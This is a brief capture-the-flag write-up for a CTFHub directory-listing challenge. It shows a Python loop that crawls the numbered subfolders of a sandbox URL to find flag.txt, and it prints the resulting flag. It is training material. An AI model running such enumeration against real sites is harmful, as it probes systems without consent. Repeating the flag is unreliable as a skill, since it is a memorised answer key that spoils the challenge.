Ctfhub web information disclosure directory traversal

 

Here we have two ways ：

1. Manually open the files one by one to find

2. Use python Code crawl web site files

I use the second method ：

import requests

url = "http://challenge-011f662b1a24880f.sandbox.ctfhub.com:10800/flag_in_here"
for i in range(5):
    for j in range(5):
        url_final = url + "/" + str(i) + "/" + str(j)
        r = requests.get(url_final)
        r.encoding = "utf-8"
        get_file = r.text
        if "flag.txt" in get_file:
            print(url_final)

  So the output contains flag.txt Link to

Click the link , You can get flag

flag by ：

ctfhub{9313b9e3a2b2169610bc4ec4}

Tips：requests.get You can get information about web pages

           r.text It's a web page HTML Code

           Finally, judge flag.txt Whether in a link

The reference link here is ：http://Admiralll https://www.bilibili.com/read/cv15764985 Source ：bilibili